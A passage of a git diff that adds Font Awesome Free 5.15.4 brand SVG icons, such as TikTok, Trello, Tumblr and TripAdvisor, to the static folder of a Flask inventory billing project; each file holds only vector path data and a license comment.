xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm121.8 169.9l-40.7 191.8c-3 13.6-11.1 16.9-22.4 10.5l-62-45.7-29.9 28.8c-3.3 3.3-6.1 6.1-12.5 6.1l4.4-63.1 114.9-103.8c5-4.4-1.1-6.9-7.7-2.5l-142 89.4-61.2-19.1c-13.3-4.2-13.6-13.3 2.8-19.7l239.1-92.2c11.1-4 20.8 2.7 17.2 19.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/tencent-weibo.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/tencent-weibo.svg new file mode 100644 index 00000000..196adb69 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/tencent-weibo.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M72.3 495.8c1.4 19.9-27.6 22.2-29.7 2.9C31 368.8 73.7 259.2 144 185.5c-15.6-34 9.2-77.1 50.6-77.1 30.3 0 55.1 24.6 55.1 55.1 0 44-49.5 70.8-86.9 45.1-65.7 71.3-101.4 169.8-90.5 287.2zM192 .1C66.1.1-12.3 134.3 43.7 242.4 52.4 259.8 79 246.9 70 229 23.7 136.4 91 29.8 192 29.8c75.4 0 136.9 61.4 136.9 136.9 0 90.8-86.9 153.9-167.7 133.1-19.1-4.1-25.6 24.4-6.6 29.1 110.7 23.2 204-60 204-162.3C358.6 74.7 284 .1 192 .1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/the-red-yeti.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/the-red-yeti.svg new file mode 100644 index 00000000..c75db07e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/the-red-yeti.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M488.23 241.7l20.7 7.1c-9.6-23.9-23.9-37-31.7-44.8l7.1-18.2c.2 0 12.3-27.8-2.5-30.7-.6-11.3-6.6-27-18.4-27-7.6-10.6-17.7-12.3-30.7-5.9a122.2 122.2 0 0 0-25.3 16.5c-5.3-6.4-3 .4-3-29.8-37.1-24.3-45.4-11.7-74.8 3l.5.5a239.36 239.36 0 0 0-68.4-13.3c-5.5-8.7-18.6-19.1-25.1-25.1l24.8 7.1c-5.5-5.5-26.8-12.9-34.2-15.2 18.2-4.1 29.8-20.8 42.5-33-34.9-10.1-67.9-5.9-97.9 11.8l12-44.2L182 0c-31.6 24.2-33 41.9-33.7 45.5-.9-2.4-6.3-19.6-15.2-27a35.12 35.12 0 0 0-.5 25.3c3 8.4 5.9 14.8 8.4 18.9-16-3.3-28.3-4.9-49.2 0h-3.7l33 14.3a194.26 194.26 0 0 0-46.7 67.4l-1.7 8.4 1.7 1.7 7.6-4.7c-3.3 11.6-5.3 19.4-6.6 25.8a200.18 200.18 0 0 0-27.8 40.3c-15 1-31.8 10.8-40.3 14.3l3 3.4 28.8 1c-.5 1-.7 2.2-1.2 3.2-7.3 6.4-39.8 37.7-33 80.7l20.2-22.4c.5 1.7.7 3.4 1.2 5.2 0 25.5.4 89.6 64.9 150.5 43.6 40 96 60.2 157.5 60.2 121.7 0 223-87.3 223-211.5 6.8-9.7-1.2 3 16.7-25.1l13 14.3 2.5-.5A181.84 181.84 0 0 0 495 255a44.74 44.74 0 0 0-6.8-13.3zM398 111.2l-.5 21.9c5.5 18.1 16.9 17.2 22.4 17.2l-3.4-4.7 22.4-5.4a242.44 242.44 0 0 1-27 0c12.8-2.1 33.3-29 43-11.3 3.4 7.6 6.4 17.2 9.3 27.8l1.7-5.9a56.38 56.38 0 0 1-1.7-15.2c5.4.5 8.8 3.4 9.3 10.1.5 6.4 1.7 14.8 3.4 25.3l4.7-11.3c4.6 0 4.5-3.6-2.5 20.7-20.9-8.7-35.1-8.4-46.5-8.4l18.2-16c-25.3 8.2-33 10.8-54.8 20.9-1.1-5.4-5-13.5-16-19.9-3.2 3.8-2.8.9-.7 14.8h-2.5a62.32 62.32 0 0 0-8.4-23.1l4.2-3.4c8.4-7.1 11.8-14.3 10.6-21.9-.5-6.4-5.4-13.5-13.5-20.7 5.6-3.4 15.2-.4 28.3 8.5zm-39.6-10.1c2.7 1.9 11.4 5.4 18.9 17.2 4.2 8.4 4 9.8 3.4 11.1-.5 2.4-.5 4.3-3 7.1-1.7 2.5-5.4 4.7-11.8 7.6-7.6-13-16.5-23.6-27.8-31.2zM91 143.1l1.2-1.7c1.2-2.9 4.2-7.6 9.3-15.2l2.5-3.4-13 12.3 5.4-4.7-10.1 9.3-4.2 1.2c12.3-24.1 23.1-41.3 32.5-50.2 9.3-9.3 16-16 20.2-19.4l-6.4 1.2c-11.3-4.2-19.4-7.1-24.8-8.4 2.5-.5 3.7-.5 3.2-.5 10.3 0 17.5.5 20.9 1.2a52.35 52.35 0 0 0 16 2.5l.5-1.7-8.4-35.8 13.5 29a42.89 42.89 0 0 0 5.9-14.3c1.7-6.4 5.4-13 10.1-19.4s7.6-10.6 9.3-11.3a234.68 234.68 0 0 0-6.4 25.3l-1.7 7.1-.5 4.7 2.5 2.5C190.4 39.9 214 34 239.8 34.5l21.1.5c-11.8 13.5-27.8 21.9-48.5 24.8a201.26 201.26 0 0 1-23.4 2.9l-.2-.5-2.5-1.2a20.75 20.75 0 0 0-14 2c-2.5-.2-4.9-.5-7.1-.7l-2.5 1.7.5 1.2c2 .2 3.9.5 6.2.7l-2 3.4 3.4-.5-10.6 11.3c-4.2 3-5.4 6.4-4.2 9.3l5.4-3.4h1.2a39.4 39.4 0 0 1 25.3-15.2v-3c6.4.5 13 1 19.4 1.2 6.4 0 8.4.5 5.4 1.2a189.6 189.6 0 0 1 20.7 13.5c13.5 10.1 23.6 21.9 30 35.4 8.8 18.2 13.5 37.1 13.5 56.6a141.13 141.13 0 0 1-3 28.3 209.91 209.91 0 0 1-16 46l2.5.5c18.2-19.7 41.9-16 49.2-16l-6.4 5.9 22.4 17.7-1.7 30.7c-5.4-12.3-16.5-21.1-33-27.8 16.5 14.8 23.6 21.1 21.9 20.2-4.8-2.8-3.5-1.9-10.8-3.7 4.1 4.1 17.5 18.8 18.2 20.7l.2.2-.2.2c0 1.8 1.6-1.2-14 22.9-75.2-15.3-106.27-42.7-141.2-63.2l11.8 1.2c-11.8-18.5-15.6-17.7-38.4-26.1L149 225c-8.8-3-18.2-3-28.3.5l7.6-10.6-1.2-1.7c-14.9 4.3-19.8 9.2-22.6 11.3-1.1-5.5-2.8-12.4-12.3-28.8l-1.2 27-13.2-5c1.5-25.2 5.4-50.5 13.2-74.6zm276.5 330c-49.9 25-56.1 22.4-59 23.9-29.8-11.8-50.9-31.7-63.5-58.8l30 16.5c-9.8-9.3-18.3-16.5-38.4-44.3l11.8 23.1-17.7-7.6c14.2 21.1 23.5 51.7 66.6 73.5-120.8 24.2-199-72.1-200.9-74.3a262.57 262.57 0 0 0 35.4 24.8c3.4 1.7 7.1 2.5 10.1 1.2l-16-20.7c9.2 4.2 9.5 4.5 69.1 29-42.5-20.7-73.8-40.8-93.2-60.2-.5 6.4-1.2 10.1-1.2 10.1a80.25 80.25 0 0 1 20.7 26.6c-39-18.9-57.6-47.6-71.3-82.6 49.9 55.1 118.9 37.5 120.5 37.1 34.8 16.4 69.9 23.6 113.9 10.6 3.3 0 20.3 17 25.3 39.1l4.2-3-2.5-23.6c9 9 24.9 22.6 34.4 13-15.6-5.3-23.5-9.5-29.5-31.7 4.6 4.2 7.6 9 27.8 15l1.2-1.2-10.5-14.2c11.7-4.8-3.5 1 32-10.8 4.3 34.3 9 49.2.7 89.5zm115.3-214.4l-2.5.5 3 9.3c-3.5 5.9-23.7 44.3-71.6 79.7-39.5 29.8-76.6 39.1-80.9 40.3l-7.6-7.1-1.2 3 14.3 16-7.1-4.7 3.4 4.2h-1.2l-21.9-13.5 9.3 26.6-19-27.9-1.2 2.5 7.6 29c-6.1-8.2-21-32.6-56.8-39.6l32.5 21.2a214.82 214.82 0 0 1-93.2-6.4c-4.2-1.2-8.9-2.5-13.5-4.2l1.2-3-44.8-22.4 26.1 22.4c-57.7 9.1-113-25.4-126.4-83.4l-2.5-16.4-22.27 22.3c19.5-57.5 25.6-57.9 51.4-70.1-9.1-5.3-1.6-3.3-38.4-9.3 15.8-5.8 33-15.4 73 5.2a18.5 18.5 0 0 1 3.7-1.7c.6-3.2.4-.8 1-11.8 3.9 10 3.6 8.7 3 9.3l1.7.5c12.7-6.5 8.9-4.5 17-8.9l-5.4 13.5 22.3-5.8-8.4 8.4 2.5 2.5c4.5-1.8 30.3 3.4 40.8 16l-23.6-2.5c39.4 23 51.5 54 55.8 69.6l1.7-1.2c-2.8-22.3-12.4-33.9-16-40.1 4.2 5 39.2 34.6 110.4 46-11.3-.5-23.1 5.4-34.9 18.9l46.7-20.2-9.3 21.9c7.6-10.1 14.8-23.6 21.2-39.6v-.5l1.2-3-1.2 16c13.5-41.8 25.3-78.5 35.4-109.7l13.5-27.8v-2l-5.4-4.2h10.1l5.9 4.2 2.5-1.2-3.4-16 12.3 18.9 41.8-20.2-14.8 13 .5 2.9 17.7-.5a184 184 0 0 1 33 4.2l-23.6 2.5-1.2 3 26.6 23.1a254.21 254.21 0 0 1 27 32c-11.2-3.3-10.3-3.4-21.2-3.4l12.3 32.5zm-6.1-71.3l-3.9 13-14.3-11.8zm-254.8 7.1c1.7 10.6 4.7 17.7 8.8 21.9-9.3 6.6-27.5 13.9-46.5 16l.5 1.2a50.22 50.22 0 0 0 24.8-2.5l-7.1 13c4.2-1.7 10.1-7.1 17.7-14.8 11.9-5.5 12.7-5.1 20.2-16-12.7-6.4-15.7-13.7-18.4-18.8zm3.7-102.3c-6.4-3.4-10.6 3-12.3 18.9s2.5 29.5 11.8 39.6 18.2 10.6 26.1 3 3.4-23.6-11.3-47.7a39.57 39.57 0 0 0-14.27-13.8zm-4.7 46.3c5.4 2.2 10.5 1.9 12.3-10.6v-4.7l-1.2.5c-4.3-3.1-2.5-4.5-1.7-6.2l.5-.5c-.9-1.2-5-8.1-12.5 4.7-.5-13.5.5-21.9 3-24.8 1.2-2.5 4.7-1.2 11.3 4.2 6.4 5.4 11.3 16 15.2 32.5 6.5 28-19.8 26.2-26.9 4.9zm-45-5.5c1.6.3 9.3-1.1 9.3-14.8h-.5c-5.4-1.1-2.2-5.5-.7-5.9-1.7-3-3.4-4.2-5.4-4.7-8.1 0-11.6 12.7-8.1 21.2a7.51 7.51 0 0 0 5.43 4.2zM216 82.9l-2.5.5.5 3a48.94 48.94 0 0 1 26.1 5.9c-2.5-5.5-10-14.3-28.3-14.3l.5 2.5zm-71.8 49.4c21.7 16.8 16.5 21.4 46.5 23.6l-2.9-4.7a42.67 42.67 0 0 0 14.8-28.3c1.7-16-1.2-29.5-8.8-41.3l13-7.6a2.26 2.26 0 0 0-.5-1.7 14.21 14.21 0 0 0-13.5 1.7c-12.7 6.7-28 20.9-29 22.4-1.7 1.7-3.4 5.9-5.4 13.5a99.61 99.61 0 0 0-2.9 23.6c-4.7-8-10.5-6.4-19.9-5.9l7.1 7.6c-16.5 0-23.3 15.4-23.6 16 6.8 0 4.6-7.6 30-12.3-4.3-6.3-3.3-5-4.9-6.6zm18.7-18.7c1.2-7.6 3.4-13 6.4-17.2 5.4-6.4 10.6-10.1 16-11.8 4.2-1.7 7.1 1.2 10.1 9.3a72.14 72.14 0 0 1 3 25.3c-.5 9.3-3.4 17.2-8.4 23.1-2.9 3.4-5.4 5.9-6.4 7.6a39.21 39.21 0 0 1-11.3-.5l-7.1-3.4-5.4-6.4c.8-10 1.3-18.8 3.1-26zm42 56.1c-34.8 14.4-34.7 14-36.1 14.3-20.8 4.7-19-24.4-18.9-24.8l5.9-1.2-.5-2.5c-20.2-2.6-31 4.2-32.5 4.9.5.5 3 3.4 5.9 9.3 4.2-6.4 8.8-10.1 15.2-10.6a83.47 83.47 0 0 0 1.7 33.7c.1.5 2.6 17.4 27.5 24.1 11.3 3 27 1.2 48.9-5.4l-9.2.5c-4.2-14.8-6.4-24.8-5.9-29.5 11.3-8.8 21.9-11.3 30.7-7.6h2.5l-11.8-7.6-7.1.5c-5.9 1.2-12.3 4.2-19.4 8.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/themeco.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/themeco.svg new file mode 100644 index 00000000..17962e59 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/themeco.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M202.9 8.43c9.9-5.73 26-5.82 35.95-.21L430 115.85c10 5.6 18 19.44 18 30.86V364c0 11.44-8.06 25.29-18 31L238.81 503.74c-9.93 5.66-26 5.57-35.85-.21L17.86 395.12C8 389.34 0 375.38 0 364V146.71c0-11.44 8-25.36 17.91-31.08zm-77.4 199.83c-15.94 0-31.89.14-47.83.14v101.45H96.8V280h28.7c49.71 0 49.56-71.74 0-71.74zm140.14 100.29l-30.73-34.64c37-7.51 34.8-65.23-10.87-65.51-16.09 0-32.17-.14-48.26-.14v101.59h19.13v-33.91h18.41l29.56 33.91h22.76zm-41.59-82.32c23.34 0 23.26 32.46 0 32.46h-29.13v-32.46zm-95.56-1.6c21.18 0 21.11 38.85 0 38.85H96.18v-38.84zm192.65-18.25c-68.46 0-71 105.8 0 105.8 69.48-.01 69.41-105.8 0-105.8zm0 17.39c44.12 0 44.8 70.86 0 70.86s-44.43-70.86 0-70.86z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/themeisle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/themeisle.svg new file mode 100644 index 00000000..eb32294d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/themeisle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M208 88.286c0-10 6.286-21.714 17.715-21.714 11.142 0 17.714 11.714 17.714 21.714 0 10.285-6.572 21.714-17.714 21.714C214.286 110 208 98.571 208 88.286zm304 160c0 36.001-11.429 102.286-36.286 129.714-22.858 24.858-87.428 61.143-120.857 70.572l-1.143.286v32.571c0 16.286-12.572 30.571-29.143 30.571-10 0-19.429-5.714-24.572-14.286-5.427 8.572-14.856 14.286-24.856 14.286-10 0-19.429-5.714-24.858-14.286-5.142 8.572-14.571 14.286-24.57 14.286-10.286 0-19.429-5.714-24.858-14.286-5.143 8.572-14.571 14.286-24.571 14.286-18.857 0-29.429-15.714-29.429-32.857-16.286 12.285-35.715 19.428-56.571 19.428-22 0-43.429-8.285-60.286-22.857 10.285-.286 20.571-2.286 30.285-5.714-20.857-5.714-39.428-18.857-52-36.286 21.37 4.645 46.209 1.673 67.143-11.143-22-22-56.571-58.857-68.572-87.428C1.143 321.714 0 303.714 0 289.429c0-49.714 20.286-160 86.286-160 10.571 0 18.857 4.858 23.143 14.857a158.792 158.792 0 0 1 12-15.428c2-2.572 5.714-5.429 7.143-8.286 7.999-12.571 11.714-21.142 21.714-34C182.571 45.428 232 17.143 285.143 17.143c6 0 12 .285 17.714 1.143C313.714 6.571 328.857 0 344.572 0c14.571 0 29.714 6 40 16.286.857.858 1.428 2.286 1.428 3.428 0 3.714-10.285 13.429-12.857 16.286 4.286 1.429 15.714 6.858 15.714 12 0 2.857-2.857 5.143-4.571 7.143 31.429 27.714 49.429 67.143 56.286 108 4.286-5.143 10.285-8.572 17.143-8.572 10.571 0 20.857 7.144 28.571 14.001C507.143 187.143 512 221.714 512 248.286zM188 89.428c0 18.286 12.571 37.143 32.286 37.143 19.714 0 32.285-18.857 32.285-37.143 0-18-12.571-36.857-32.285-36.857-19.715 0-32.286 18.858-32.286 36.857zM237.714 194c0-19.714 3.714-39.143 8.571-58.286-52.039 79.534-13.531 184.571 68.858 184.571 21.428 0 42.571-7.714 60-20 2-7.429 3.714-14.857 3.714-22.572 0-14.286-6.286-21.428-20.572-21.428-4.571 0-9.143.857-13.429 1.714-63.343 12.668-107.142 3.669-107.142-63.999zm-41.142 254.858c0-11.143-8.858-20.857-20.286-20.857-11.429 0-20 9.715-20 20.857v32.571c0 11.143 8.571 21.142 20 21.142 11.428 0 20.286-9.715 20.286-21.142v-32.571zm49.143 0c0-11.143-8.572-20.857-20-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20-10 20-21.142v-32.571zm49.713 0c0-11.143-8.857-20.857-20.285-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20.285-9.715 20.285-21.142v-32.571zm49.715 0c0-11.143-8.857-20.857-20.286-20.857-11.428 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.858 21.142 20.286 21.142 11.429 0 20.286-10 20.286-21.142v-32.571zM421.714 286c-30.857 59.142-90.285 102.572-158.571 102.572-96.571 0-160.571-84.572-160.571-176.572 0-16.857 2-33.429 6-49.714-20 33.715-29.714 72.572-29.714 111.429 0 60.286 24.857 121.715 71.429 160.857 5.143-9.714 14.857-16.286 26-16.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.571-14.286 24.858-14.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.857-14.286 24.858-14.286 10 0 19.428 5.714 24.857 14.286 5.143-8.571 14.571-14.286 24.572-14.286 10.857 0 20.857 6.572 25.714 16 43.427-36.286 68.569-92 71.426-148.286zm10.572-99.714c0-53.714-34.571-105.714-92.572-105.714-30.285 0-58.571 15.143-78.857 36.857C240.862 183.812 233.41 254 302.286 254c28.805 0 97.357-28.538 84.286 36.857 28.857-26 45.714-65.714 45.714-104.571z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/think-peaks.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/think-peaks.svg new file mode 100644 index 00000000..27c826f9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/think-peaks.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M465.4 409.4l87.1-150.2-32-.3-55.1 95L259.2 0 23 407.4l32 .3L259.2 55.6zm-355.3-44.1h32.1l117.4-202.5L463 511.9l32.5.1-235.8-404.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/tiktok.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/tiktok.svg new file mode 100644 index 00000000..11dd1539 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/tiktok.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448,209.91a210.06,210.06,0,0,1-122.77-39.25V349.38A162.55,162.55,0,1,1,185,188.31V278.2a74.62,74.62,0,1,0,52.23,71.18V0l88,0a121.18,121.18,0,0,0,1.86,22.17h0A122.18,122.18,0,0,0,381,102.39a121.43,121.43,0,0,0,67,20.14Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/trade-federation.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/trade-federation.svg new file mode 100644 index 00000000..8dcb02ad --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/trade-federation.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8.8c-137 0-248 111-248 248s111 248 248 248 248-111 248-248-111-248-248-248zm0 482.8c-129.7 0-234.8-105.1-234.8-234.8S118.3 22 248 22s234.8 105.1 234.8 234.8S377.7 491.6 248 491.6zm155.1-328.5v-46.8H209.3V198H54.2l36.7 46h117.7v196.8h48.8V245h83.3v-47h-83.3v-34.8h145.7zm-73.3 45.1v23.9h-82.9v197.4h-26.8V232.1H96.3l-20.1-23.9h143.9v-80.6h171.8V152h-145v56.2zm-161.3-69l-12.4-20.7 2.1 23.8-23.5 5.4 23.3 5.4-2.1 24 12.3-20.5 22.2 9.5-15.7-18.1 15.8-18.1zm-29.6-19.7l9.3-11.5-12.7 5.9-8-12.4 1.7 13.9-14.3 3.8 13.7 2.7-.8 14.7 6.8-12.2 13.8 5.3zm165.4 145.2l-13.1 5.6-7.3-12.2 1.3 14.2-13.9 3.2 13.9 3.2-1.2 14.2 7.3-12.2 13.1 5.5-9.4-10.7zm106.9-77.2l-20.9 9.1-12-19.6 2.2 22.7-22.3 5.4 22.2 4.9-1.8 22.9 11.5-19.6 21.2 8.8-15.1-17zM248 29.9c-125.3 0-226.9 101.6-226.9 226.9S122.7 483.7 248 483.7s226.9-101.6 226.9-226.9S373.3 29.9 248 29.9zM342.6 196v51h-83.3v195.7h-52.7V245.9H89.9l-40-49.9h157.4v-81.6h197.8v50.7H259.4V196zM248 43.2c60.3 0 114.8 25 153.6 65.2H202.5V190H45.1C73.1 104.8 153.4 43.2 248 43.2zm0 427.1c-117.9 0-213.6-95.6-213.6-213.5 0-21.2 3.1-41.8 8.9-61.1L87.1 252h114.7v196.8h64.6V253h83.3v-62.7h-83.2v-19.2h145.6v-50.8c30.8 37 49.3 84.6 49.3 136.5.1 117.9-95.5 213.5-213.4 213.5zM178.8 275l-11-21.4 1.7 24.5-23.7 3.9 23.8 5.9-3.7 23.8 13-20.9 21.5 10.8-15.8-18.8 16.9-17.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/trello.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/trello.svg new file mode 100644 index 00000000..af667530 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/trello.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M392.3 32H56.1C25.1 32 0 57.1 0 88c-.1 0 0-4 0 336 0 30.9 25.1 56 56 56h336.2c30.8-.2 55.7-25.2 55.7-56V88c.1-30.8-24.8-55.8-55.6-56zM197 371.3c-.2 14.7-12.1 26.6-26.9 26.6H87.4c-14.8.1-26.9-11.8-27-26.6V117.1c0-14.8 12-26.9 26.9-26.9h82.9c14.8 0 26.9 12 26.9 26.9v254.2zm193.1-112c0 14.8-12 26.9-26.9 26.9h-81c-14.8 0-26.9-12-26.9-26.9V117.2c0-14.8 12-26.9 26.8-26.9h81.1c14.8 0 26.9 12 26.9 26.9v142.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/tripadvisor.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/tripadvisor.svg new file mode 100644 index 00000000..5123df59 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/tripadvisor.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.3 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M528.91,178.82,576,127.58H471.66a326.11,326.11,0,0,0-367,0H0l47.09,51.24A143.911,143.911,0,0,0,241.86,390.73L288,440.93l46.11-50.17A143.94,143.94,0,0,0,575.88,285.18h-.03A143.56,143.56,0,0,0,528.91,178.82ZM144.06,382.57a97.39,97.39,0,1,1,97.39-97.39A97.39,97.39,0,0,1,144.06,382.57ZM288,282.37c0-64.09-46.62-119.08-108.09-142.59a281,281,0,0,1,216.17,0C334.61,163.3,288,218.29,288,282.37Zm143.88,100.2h-.01a97.405,97.405,0,1,1,.01,0ZM144.06,234.12h-.01a51.06,51.06,0,1,0,51.06,51.06v-.11A51,51,0,0,0,144.06,234.12Zm287.82,0a51.06,51.06,0,1,0,51.06,51.06A51.06,51.06,0,0,0,431.88,234.12Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/tumblr-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/tumblr-square.svg new file mode 100644 index 00000000..47a4cb11 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/tumblr-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-82.3 364.2c-8.5 9.1-31.2 19.8-60.9 19.8-75.5 0-91.9-55.5-91.9-87.9v-90h-29.7c-3.4 0-6.2-2.8-6.2-6.2v-42.5c0-4.5 2.8-8.5 7.1-10 38.8-13.7 50.9-47.5 52.7-73.2.5-6.9 4.1-10.2 10-10.2h44.3c3.4 0 6.2 2.8 6.2 6.2v72h51.9c3.4 0 6.2 2.8 6.2 6.2v51.1c0 3.4-2.8 6.2-6.2 6.2h-52.1V321c0 21.4 14.8 33.5 42.5 22.4 3-1.2 5.6-2 8-1.4 2.2.5 3.6 2.1 4.6 4.9l13.8 40.2c1 3.2 2 6.7-.3 9.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/tumblr.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/tumblr.svg new file mode 100644 index 00000000..d0a1305b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/tumblr.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M309.8 480.3c-13.6 14.5-50 31.7-97.4 31.7-120.8 0-147-88.8-147-140.6v-144H17.9c-5.5 0-10-4.5-10-10v-68c0-7.2 4.5-13.6 11.3-16 62-21.8 81.5-76 84.3-117.1.8-11 6.5-16.3 16.1-16.3h70.9c5.5 0 10 4.5 10 10v115.2h83c5.5 0 10 4.4 10 9.9v81.7c0 5.5-4.5 10-10 10h-83.4V360c0 34.2 23.7 53.6 68 35.8 4.8-1.9 9-3.2 12.7-2.2 3.5.9 5.8 3.4 7.4 7.9l22 64.3c1.8 5 3.3 10.6-.4 14.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/twitch.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/twitch.svg new file mode 100644 index 00000000..4d261d90 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/twitch.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 